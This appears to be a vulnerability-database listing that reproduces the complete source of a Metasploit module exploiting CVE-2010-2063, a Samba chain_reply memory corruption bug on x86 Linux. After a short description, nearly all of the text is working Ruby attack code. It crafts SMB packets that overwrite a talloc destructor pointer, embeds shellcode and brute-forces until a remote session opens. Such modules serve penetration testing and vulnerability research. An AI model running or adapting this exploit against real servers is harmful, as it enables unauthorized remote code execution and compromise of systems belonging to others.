Samba chain_reply Memory Corruption (Linux x86)

2010-07-16T02:31:37
ID MSF:EXPLOIT/LINUX/SAMBA/CHAIN_REPLY
Type metasploit
Reporter Rapid7
Modified 2020-06-09T12:18:52

Description

This exploits a memory corruption vulnerability present in Samba versions prior to 3.3.13. When handling chained response packets, Samba fails to validate the offset value used when building the next part. By setting this value to a number larger than the destination buffer size, an attacker can corrupt memory. Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will cause the header of the input buffer chunk to be corrupted. After close inspection, it appears that 3.0.x versions of Samba are not exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot cause memory to be corrupted in an exploitable way. It is possible to corrupt the heap header of the "InputBuffer", but it didn't seem possible to get the chunk to be processed again prior to process exit. In order to gain code execution, this exploit attempts to overwrite a "talloc chunk" destructor function pointer. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the nx memory protection. NOTE: It is possible to make exploitation attempts indefinitely since Samba forks for user sessions in the default configuration.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba chain_reply Memory Corruption (Linux x86)',
      'Description'    => %q{
          This exploits a memory corruption vulnerability present in Samba versions
        prior to 3.3.13. When handling chained response packets, Samba fails to validate
        the offset value used when building the next part. By setting this value to a
        number larger than the destination buffer size, an attacker can corrupt memory.
        Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
        cause the header of the input buffer chunk to be corrupted.

        After close inspection, it appears that 3.0.x versions of Samba are not
        exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
        cause memory to be corrupted in an exploitable way. It is possible to corrupt the
        heap header of the "InputBuffer", but it didn't seem possible to get the chunk
        to be processed again prior to process exit.

        In order to gain code execution, this exploit attempts to overwrite a "talloc
        chunk" destructor function pointer.

        This particular module is capable of exploiting the flaw on x86 Linux systems
        that do not have the nx memory protection.

        NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
        for user sessions in the default configuration.
      },
      'Author'         =>
        [
          'Jun Mao', #Initial discovery
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2063' ],
          [ 'OSVDB', '65518' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 0x600,
          'BadChars' => "",
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux (Debian5 3.2.5-4lenny6)',
            {
              'Offset2'      => 0x1fec,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
                  'Stop'  => { 'Ret' => 0x081ed5f2 },
                  'Step'  => 0x300 # not used
                }
            }
          ],

          [ 'Debugging Target',
            {
              'Offset2'      => 0x1fec,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0xAABBCCDD },
                  'Stop'  => { 'Ret' => 0xAABBCCDD },
                  'Step'  => 0x300
                }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 16 2010'))

    register_options(
      [
        Opt::RPORT(139)
      ])

    deregister_options('SMB::ProtocolVersion')
  end

  #
  # Note: this code is duplicated from lib/rex/proto/smb/client.rb
  #
  # Authenticate using clear-text passwords
  #
  def session_setup_clear_ignore_response(user = '', pass = '', domain = '')

    data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');

    pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 10
    pkt['Payload'].v['AndX'] = 255
    pkt['Payload'].v['MaxBuff'] = 0xffdf
    pkt['Payload'].v['MaxMPX'] = 2
    pkt['Payload'].v['VCNum'] = 1
    pkt['Payload'].v['PasswordLen'] = pass.length + 1
    pkt['Payload'].v['Capabilities'] = 64
    pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
    pkt['Payload'].v['Payload'] = data

    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
  end


  def brute_exploit(addrs)

    curr_ret = addrs['Ret']

    # Although ecx always points at our buffer, sometimes the heap data gets modified
    # and nips off the final byte of our 5 byte jump :(
    #
    # Solution: try repeatedly until we win.
    #
    50.times{

      begin
        print_status("Trying return address 0x%.8x..." %  curr_ret)

        connect(versions: [1])
        self.simple.client.session_id = rand(31337)

        #select(nil,nil,nil,2)
        #puts "press any key"; $stdin.gets

        #
        # This allows us to allocate a talloc_chunk after the input buffer.
        # If doing so fails, we are lost ...
        #
        10.times {
          session_setup_clear_ignore_response('', '', '')
        }

        # We re-use a pointer from the stack and jump back to our original "inbuf"
        distance = target['Offset2'] - 0x80
        jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

        tlen = 0xc00
        trans =
          "\x00\x04" +
          "\x08\x20" +
          "\xff"+"SMB"+
          # SMBlogoffX
          [0x74].pack('V') +
          # tc->next, tc->prev
          jmp_back + ("\x42" * 3) +
          #("A" * 4) + ("B" * 4) +
          # tc->parent, tc->child
          "CCCCDDDD" +
          # tc->refs, must be zero
          ("\x00" * 4) +
          # over writes tc->destructor
          [addrs['Ret']].pack('V') +
          "\x00\x00\x00\x00"+
          "\xd0\x07\x0c\x00"+
          "\xd0\x07\x0c\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\xd0\x07"+
          "\x43\x00\x0c\x00"+
          "\x14\x08\x01\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x00\x00"+
          "\x00\x00\x90"

          # We put the shellcode first, since only part of this packet makes it into memory.
          trans << payload.encoded
          trans << rand_text(tlen - trans.length)

          # Set what eventually becomes 'smb_off2' to our unvalidated offset value.
          smb_off2 = target['Offset2']
          trans[39,2] = [smb_off2].pack('v')

          sock.put(trans)

        rescue EOFError
          # nothing
        rescue => e
          print_error("#{e}")
        end

        handler
        disconnect

        # See if we won yet..
        select(nil,nil,nil, 1)
        break if session_created?
      }
  end
end